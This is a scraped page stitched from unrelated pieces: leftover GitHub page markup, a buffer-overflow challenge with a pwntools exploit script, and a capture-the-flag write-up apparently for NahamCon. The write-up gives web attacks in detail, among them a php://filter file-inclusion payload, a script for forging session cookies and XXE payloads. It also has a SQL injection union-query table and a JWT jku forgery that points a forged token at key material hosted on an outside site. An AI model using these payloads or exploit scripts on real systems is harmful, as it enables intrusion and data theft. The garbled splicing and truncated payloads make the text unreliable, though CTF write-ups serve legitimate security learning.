3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>resource</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>crypto.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
A simple buffer overflow challenge ```#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); }}```Exploit script```from pwn import *key=p32(0xcafebabe)sock=remote('2020.redpwnc.tf',31255)sock.sendline(b'A' * 24 + key)sock.interactive()```
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr> # Web## Agent 95Points: 50 #### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000 ### Solution After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..." My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag. ![agent 95](https://user-images.githubusercontent.com/38787278/84602110-b5af2e80-ae8d-11ea-8f5a-04eb405ed0fe.png) Flag: flag{user_agents_undercover} ## LocalghostPoints: 75 #### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format. ### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag. ![ghos](https://user-images.githubusercontent.com/38787278/84602264-c8763300-ae8e-11ea-95af-644e45049489.png) Flag: JCTF{spoooooky_ghosts_in_storage} ## PhphonebookPoints: 100 #### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002 ### Solution The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag. ![phphonebook](https://user-images.githubusercontent.com/38787278/84602928-4fc5a580-ae93-11ea-8eec-b2de7ba55465.png) Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84603021-f0b46080-ae93-11ea-8e88-2bdc650ee24e.png) Flag: flag{phon3_numb3r_3xtr4ct3d} ## Official BusinessPoints: 125 #### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006 ### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login(): user = request.form.get("user", "") password = request.form.get("password", "") if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else. ```[email protected]("/")def index(): ok, cookie = load_cookie() if not ok: return abort(403) return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie(): cookie = {} auth = request.cookies.get("auth") if auth: try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest") if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json secret_key = b'suchsecretwow' def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8")) return cookie_value def load_cookie(user, password): cookie = {} auth = do_login(user, password, True) if auth: try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest") if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass return True, cookie cookie_t = load_cookie('hacker', 'a')``` After adding the cookie with the value returned by `do_login` from our script we get the flag. ![image](https://user-images.githubusercontent.com/38787278/84603607-3bd07280-ae98-11ea-8aea-85a02076e583.png) Flag: flag{did_this_even_pass_code_review} ## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form: ![image](https://user-images.githubusercontent.com/38787278/84603718-2f004e80-ae99-11ea-8a63-c6e4e569a0ad.png) I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this: ![image](https://user-images.githubusercontent.com/38787278/84603814-21979400-ae9a-11ea-9765-904a9ec6f014.png) Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system. This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag. ![image](https://user-images.githubusercontent.com/38787278/84603866-8bb03900-ae9a-11ea-956e-8e3377c7d548.png) Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: `` Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this: ![image](https://user-images.githubusercontent.com/38787278/84604100-4bea5100-ae9c-11ea-9183-e75c73c5443f.png) After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag* ![image](https://user-images.githubusercontent.com/38787278/84604333-e6975f80-ae9d-11ea-9134-8dc1a4dd190e.png) Flag: flag{at_least_this_sequel_got_published} ## Flag JokesPoints: 200 #### Description >Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010 ### Solution The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page: ![image](https://user-images.githubusercontent.com/38787278/84604434-be5c3080-ae9e-11ea-9d3d-4876b1d39be1.png) Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output: ![image](https://user-images.githubusercontent.com/38787278/84604518-493d2b00-ae9f-11ea-86fc-a586ae2b960e.png) Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"} ``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser. ![image](https://user-images.githubusercontent.com/38787278/84604707-a5547f00-aea0-11ea-9302-b3662771d543.png) After hitting refresh I got the flag. ![image](https://user-images.githubusercontent.com/38787278/84604748-ddf45880-aea0-11ea-9b47-f3a9c1f92c03.png) Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034 ### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup) flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'') conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line) while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. ![image](https://user-images.githubusercontent.com/38787278/84624824-c477fe80-aeea-11ea-814e-ad9ceb4ce86d.png) Flag: flag{now_you_know_your_caesars} ## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017 ### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess. This small script will do the job: ```pythonimport pwn conn = pwn.remote('jh2i.com', 50017)line = b'' while True: if b'flag' in line: print(line) break line = conn.recvline() conn.close()``` ![image](https://user-images.githubusercontent.com/38787278/84625380-d017f500-aeeb-11ea-9154-43b1ff2fa6b3.png) Flag: flag{more_text_in_the_vortex} ## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026 ### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`. ![image](https://user-images.githubusercontent.com/38787278/84625748-8e3b7e80-aeec-11ea-8b03-5e78b8d074fc.png) Flag: flag{we_should_have_been_worried_about_u2k_not_y2k} ## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024 ### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names. ![image](https://user-images.githubusercontent.com/38787278/84625985-f38f6f80-aeec-11ea-8e23-6c16e6bc5899.png) We solve this by reading the file with bash scripting. ![image](https://user-images.githubusercontent.com/38787278/84626065-1de12d00-aeed-11ea-9d0c-addc9d0ea338.png) Flag: flag{congrats_you_just_escaped_alkatraz} # Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below. ### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag. ![image](https://user-images.githubusercontent.com/38787278/84626592-08b8ce00-aeee-11ea-9401-fe1cff01cbf9.png) Flag: flag{4ndr0id_1s_3asy} ## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below. ### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag. ![image](https://user-images.githubusercontent.com/38787278/84626827-7f55cb80-aeee-11ea-98e1-2aae86b4f97a.png) Flag: flag{3asY_4ndr0id_r3vers1ng} # Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below. ### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. 